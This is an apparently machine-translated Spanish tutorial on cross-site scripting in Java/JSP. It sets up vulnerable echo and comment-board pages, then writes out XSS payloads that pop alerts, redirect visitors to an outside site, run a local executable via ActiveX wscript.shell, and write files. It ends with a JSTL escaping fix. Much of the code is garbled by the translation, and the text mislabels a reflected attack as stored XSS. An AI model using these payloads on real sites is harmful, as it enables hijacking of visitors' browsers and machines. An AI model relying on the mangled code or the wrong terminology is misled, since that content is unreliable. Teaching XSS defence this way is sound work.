Prefacio
Hola a todos, un buen hombre soy yo, soy un buen hombre, soy -0nise. En las principales plataformas de informes de vulnerabilidad, a menudo vemos vulnerabilidades de XSS. Entonces la pregunta es, ¿por qué ocurre esta vulnerabilidad? ¿Cómo se debe solucionar esta vulnerabilidad?
texto
1.xss? XSS? ¿Qué diablos es XSS?
XSS también se llama Scripting Cross Site. No le diré que originalmente se llamaba CSS, pero para no confundirse con las hojas de estilo en cascada CSS que usamos. CSS (ataque de secuencias de comandos entre sitios), CSS (hoja de estilo en cascada) es una tontería y no puede notar la diferencia. Entonces se llama XSS.
2. ¿Cuáles son los peligros de XSS?
Experimento 1:
Código de construcción 0x00
<%@ page lenguaje = "java" import = "java.util.*" pageEncoding = "utf-8"%> <%string path = request.getContextPath (); String basepath = request.getScheme ()+": //"+request.getServerNeN ()+":"+request.getServerPort ()+pATH+"/";%; "-// w3c // dtd html 4.01 transitional // en"> <html> <head> <base href = "<%= basepath%>"> <title> my jsp 'index.jsp' inicial de inicio </title> <meta http-equiv = "pragma" contenido = "no cache"> <meta htttp-equiv = "cAmeCol" "CAY content = "no-cache"> <meta http-equiv = "expires" content = "0"> <meta http-equiv = "palabras clave" content = "palabras clave1, palabras clave2, palabras clave3"> <meta http-equiv = request.setcharacterEncoding ("UTF-8"); // Recibe un valor entrante del usuario String tmp = request.getParameter ("OPR"); // El valor entrante predeterminado está vacío si (tmp == null) {out.print ("111"); } else {// string de transcodificación opr = new String (tmp.getBytes ("ISO-8859-1"), "UTF-8"); out.print (OPR); } %> Soy contenido </div> </body> </html>0x01 Diseño del entorno
0x02 taladro de vulnerabilidad
Visitamos: http: // localhost: 8080/xss/index.jsp? Opr = i%e6%98%a5%e7%a7%8b
Luego visite: http: // localhost: 8080/xss/index.jsp? Opr = 0nise
Finalmente descubrimos una "gran ley":
Imprima cualquier página a la que el parámetro OPR es igual. (Parece tonterías)
Cargamos una foto y veamos
Visita: http: // localhost: 8080/xss/index.jsp? Opr =%3cimg%20src =%221.png%22%3e%3C/IMG%3E
Dado que todas las imágenes se pueden cargar, ¿también se cargan nuestros archivos JS?
Visita: http: // localhost: 8080/xss/index.jsp? opr =%3cscript%3alert (/i%e6%98%a5%e7% A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E 8E%E5%A4%A7%E5%AE%B6/)%3C/Script 3E
JS? JS? Entonces, ¿es posible cambiar la dirección después del salto?
Visita: http: // localhost: 8080/xss/index.jsp? Opr =%3cscript%3elocation.href =%27http: //bbs.icunqiu.com%27%3C/Script%3E
Dado que XSS puede cargar JS, ¿abrimos algunas cosas locales a través de JS?
Pon un archivo md5.exe por adelantado
Visita: http: // localhost: 8080/xss/index.jsp? Opr = <script> var objshell = new ActiveXObject ("wscript.shell"); objshell.run ("g: /work/xss/webroot/md5.exe"); </script>
¿Dado que incluso los archivos locales se pueden abrir, Troyan de archivos remotos? ¿Tiene una parodia de computadora? Esto es lentamente cuadrante. No lo dije. . . . .
Se pueden abrir todos los archivos, entonces, ¿qué hay de escribir algunos archivos?
Visit: http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d://test.txt%22,true); tf.writel (%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22); TF.CLOSE (); alerta (%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/Script%3E 3E
A través de los experimentos anteriores, podemos ver la operación de asignación de parámetros OPR. Si el parámetro OPR no tiene valor, no se puede ejecutar. La persona atacada debe acceder al atacante diseñado por adelantado antes de atacar. Este método de ataque XSS se llama: almacenamiento XSS
Si desea ver un experimento más poderoso, continúe leyendo.
Experimento 2:
Prefacio:
La mayoría de los sitios web se ocuparán de datos. Entonces, ¿cómo se ven estos sitios web cuando aparecen las vulnerabilidades de XSS?
Código de construcción 0x00
Parte de la base de datos
Baseo.java
import java.sql.connection; import java.sql.drivermanager; import java.sql.preparedStatement; import java.sql.resultset; import java.sql.sqlexception; import java.sql.statement; public class BeuseOo {// abierta la conexión pública getConn () {Conexy Conny. Pruebe {class.forname ("com.microsoft.sqlserver.jdbc.sqlserverdriver"); conn = drivermanager.getConnection ("jdbc: sqlserver: // localhost: 1433; databAsename = sqltmp", "sa", "sa"); } catch (ClassNotFoundException e) {E.PrintStackTrace (); } Catch (Sqlexception e) {E.PrintStackTrace (); } return Conn; } // Método para cerrar el enlace público void creall (Connection Conn, Stat de instrucción, ResultSet rs) {try {if (rs! = Null) rs.close (); if (stat! = null) stat.close (); if (conn! = null) conn.close (); } Catch (Sqlexception e) {E.PrintStackTrace (); }} // Sobrecarga el método Cerrar public void CloseAnl (Connection Conn, PrepareStatement PStat, ResultSet rs) {try {if (rs! = Null) rs.close (); if (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } Catch (Sqlexception e) {E.PrintStackTrace (); }} // Continúe sobrecargando public void CloseAnl (Connection Conn, PrepareStatement pstat) {try {if (pstat! = Null) pstat.close (); if (conn! = null) conn.close (); } Catch (Sqlexception e) {E.PrintStackTrace (); }} // Método público para agregar, eliminar y modificar public int Update (String SQL, Object [] PRAM) {Preparado PSTAT = NULL; Conexión conn = nulo; int a = 0; intente {conn = getConn (); pstat = conn.preparestatement (sql); // Transferir a través del conjunto de parámetros y agregar la correspondencia del parámetro en la declaración SQL a la instrucción SQL para (int i = 1; i <= pram.length; i ++) {pstat.setObject (i, pram [i-1]); } // Método de llamadas a = pstat.executeUpdate (); } Catch (Sqlexception e) {E.PrintStackTrace (); } Finalmente {Closeall (Conn, Pstat); } return a; }}Commentdao.java
import java.sql.*; import java.util.*; importación de importación.*; public class CommentDao extiende a basee { /***Obtener todos los mensajes** /public List <Comm> getComment () {// sql Declary String Sql = "Seleccione CID, CNAME, CCONTEXT de los comentarios"; List <Comm> list = new ArrayList <Comm> (); // Conexión del objeto de conexión de la base de datos Conn = null; // objeto de ejecución de SQL preparado PSTMT = null; // Valor de retorno de ejecución de la base de datos ResultSet rs = null; Pruebe {// Crear enlace de base de datos conn = this.getConn (); // Crear objeto de ejecución SQL pstmt = conn.preparestatement (sql); // Ejecutar el valor de retorno de la instrucción SQL rs = pstmt.executeQuery (); // leer while (rs.next ()) {comentario comentario = new Comm (); comment.setcid (rs.getInt ("cid")); comment.setCName (rs.getString ("cname")); comment.setCContext (rs.getString ("cContext")); list.add (comentario); }} catch (Exception e) {E.PrintStackTrace (); } Finalmente {// Cerrar this.closealll (Conn, Pstmt, RS); } Lista de retorno; } public int addComment (comment comm) {string sql = "insertar en valores de comentarios (?,?)"; // Número de filas afectadas int resultado = 0; // Conexión del objeto de conexión de la base de datos Conn = null; // objeto de ejecución de SQL preparado PSTMT = null; Pruebe {// Crear enlace de base de datos conn = this.getConn (); // Crear objeto de ejecución SQL pstmt = conn.preparestatement (sql); // Establecer los parámetros pstmt.setstring (1, comment.getcname ()); pstmt.setString (2, comment.getCContext ()); // Ejecutar el resultado de la instrucción SQL = PSTMT.EXECUTEUPDATE (); } catch (Exception e) {E.PrintStackTrace (); } Finalmente {this.closealll (conn, pstmt); } resultado de retorno; }}Commentservlvet
import java.io.*;import javax.servlet.*;import javax.servlet.http.*;import entity.*;public class CommentServlvet extends HttpServlet { /** * doGet() */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setcharacterEncoding ("UTF-8"); respuesta.setContentType ("text/html; charset = utf-8"); PrintWriter out = Response.getWriter (); Cadena opr = request.getParameter ("OPR"); Commentdao commentdao = new CommentDao (); // recuperar si el parámetro está vacío if (opr == null || opr.equals ("all")) {request.setAttribute ("all", commentdao.getComment ()); // reenviar request.getRequestDispatcher ("comment.jsp"). Reenviar (solicitud, respuesta); } else if (opr.equals ("add")) {comentario comment = new Comm (); comment.setCName (request.getParameter ("uname")); comment.setCContext (request.getParameter ("context")); if (commentdao.addcomment (comentario)> 0) {out.print ("<script> alerta ('deje un mensaje con éxito'); ubicación.href = 'Commentservlvet? Opr = all'; </script>"); } else {out.print ("<Script> Alert ('Mensaje fallido'); ubicación.href = 'CommentservlVet? Opr = all'; </script>"); }} else {request.setAttribute ("all", commentdao.getComment ()); // reenviar request.getRequestDispatcher ("comment.jsp"). Reenviar (solicitud, respuesta); } out.flush (); out.close (); } / ** * dopost () * / public void dopost (httpservletRequest solicitud, respuesta httpServletResponse) lanza ServletException, ioexception {doget (solicitud, respuesta); }}Comentario.jsp
<%@ page lenguaje = "java" import = "java.util.*, entity.*" pageEncoding = "utf-8"%> <%string path = request.getContextPath (); string basepath = request.getScheme ()+": //"+request.getServerName ()+":" request.getServerport ()+" Html public "-// w3c // dtd html 4.01 transitional // en"> <html> <fead> <base href = "<%= basepath%>"> <title> my jsp 'comment.jsp' página inicial </title> <meta http-obliv = "pragma" contento = "no cache" http-equiv = "cache-confontrol" content = "no-cache"> <meta http-equiv = "expires" content = "0"> <meta http-equiv = "palabras clave" content = "keyword1, clave clave2, clave de clave3"> <meta http-oquiv = "descripción =" contenido = "esto es mi página" </head> <%> <%> <%> <%> <%> request.setcharacterEncoding ("UTF-8"); if (request.getAttribute ("all") == null) {request.getRequestDIsPatcher ("CommentservlVet? Opr = all"). ADELAR (Solicitar, respuesta); } %> <table> < % list <entity.comm> list = (list <entity.comm>) request.getAttribute ("all"); for (int i = 0; i <list.size (); i ++) { %> <tr> <td> < %= list.get (i) .getCname () %> </td> <td> < %= list.get (i) .getCcontext () %> </td> </tr> < %} %> </play> <play acción = "Commentservlvet? <Textarea Rows = "5" cols = "30" name = "context"> </extarea> Nickname: <input type = "text" name = "uname"/> <input type = "shit" valor = "enviar"/> </form> </body> </html> 0x01 Experimento de vulnerabilidad
root@1~#
Dejamos un mensaje en el tablero de mensajes:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
Luego visite: http: // localhost: 8080/xss/comment.jsp
De esta manera, siempre que acceda a esta página, el software se abrirá automáticamente y se creará un archivo remoto. Comprender lentamente.
root@2~#
Dejamos un mensaje en el tablero de mensajes:
Copie el código de la siguiente manera: <script> var fso, tf; fso = new ActiveXObject ("scripting.filesystemObject"); tf = fso.createTeTextFile ("d: //test.txt", true); tf.writeline ("i chunqiu la comunidad dan la bienvenida a usted"); tf.clase (); "alertal de la alerta (";
Luego visite: http: // localhost: 8080/xss/comment.jsp
La redacción de archivos fue exitosa.
root@3~#
Contenido del mensaje:
[código] <script> ubicación.href = 'http: //bbs.icunqiu.com' </script> [código]
Visite la página: http: // localhost: 8080/xss/comment.jsp
Visite la página del mensaje para saltar automáticamente al sitio web específico del atacante. ¿Es este el legendario secuestro?
Solución de defensa de 3.xss
Como dice el refrán, donde sea que haya ataque, hay defensa. Al igual que XSS, hay métodos de ataque y soluciones de defensa.
EL Expression + JSTL Tag Library
EL (lenguaje de expresión): [tamaño = 12.0000PT] Para facilitar la escritura de JSP. El lenguaje de expresión está inspirado en el lenguaje de expresión EcMascript y XPath. Proporciona métodos para simplificar las expresiones en JSP para simplificar el código JSP.
JSTL (Biblioteca de etiquetas estándar JSP): Biblioteca de etiquetas JSP de código abierto.
Código de defensa del Experimento 1:
<%@ page lenguaje = "java" import = "java.util.*" PageEncoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c"%> <%string path = request request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerPort ()+path+"/";%> <! DocType html public "-// w3c // dtd html 4.01 transitional // en"> <html> <fead> <fead> <base href = "<%= base = baseT 'index.jsp' Página inicial </title> <meta http-equiv = "pragma" content = "no-cache"> <meta http-equiv = "cache-confontrol" content = "no-cache"> <meta http-equiv = "expira" contenido = "0"> <meta http-equiv = "keywords" contenido "=" key1, keyl key12, WALLWAY2, WALLIN <meta http-oquiv = "descripción" content = "esta es mi página"> </head> <body> <div style = "margin: 0 auto"> <% request.setcharacterEncoding ("UTF-8"); Cadena tmp = request.getParameter ("OPR"); // si el valor entrante está vacío si (tmp == null) {out.print ("111"); } else {// string de transcodificación opr = new String (tmp.getBytes ("ISO-8859-1"), "UTF-8"); request.setAttribute ("Nombre", OPR); %> <c: out value = "$ {requestscope.name}"> </c: out> < %} %> Soy contenido </div> </body> </html>Código de defensa del Experimento 2:
<%@ page idioma = "java" import = "java.util.*, entity.*" pageEncoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c"%> <%string paty.getContextPath (); string; request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerPort ()+Path+"/";%>
<! Doctype html public "-// w3c // dtd html 4.01 transitional // en"> <html> <fead> <base href = "<%= basepath%>"> <title> my jsp 'comment.jsp' página inicial </title> <meta http-oquiv = "praGma" Content = "No Cache" http-equiv = "cache-confontrol" content = "no-cache"> <meta http-equiv = "expires" content = "0"> <meta http-equiv = "palabras clave" content = "keyword1, clave clave2, clave de clave3"> <meta http-oquiv = "descripción =" contenido = "esto es mi página" </head> <%> <%> <%> <%> <%> request.setcharacterEncoding ("UTF-8"); if (request.getAttribute ("all") == null) {request.getRequestDIsPatcher ("CommentservlVet? Opr = all"). ADELAR (Solicitar, respuesta); } %> <topla> <!-Solución de defensa XSS-> <c: foreach var = "x" elementos = "$ {requestscope.all}"> <tr> <tr> <td> <c: out valor = "$ {x.getcname ()}"> </c: out> </td> <td> <c: out value = "$ {x.getccontont ()}" </td> </td> </tr> </c: foreach> </table> <form de action = "comentariosservlvet? opr = add" método = "post"> <textarea rows = "5" cols = "30" name = "context"> </textarea> nickname: <input type = "text" name = "uname"/> <input type = "Subt =" Subsit "Subsit" Subsit "Submit" </body> </html> Conclusión
La tecnología no es en blanco y negro, y la especialización es muy buena.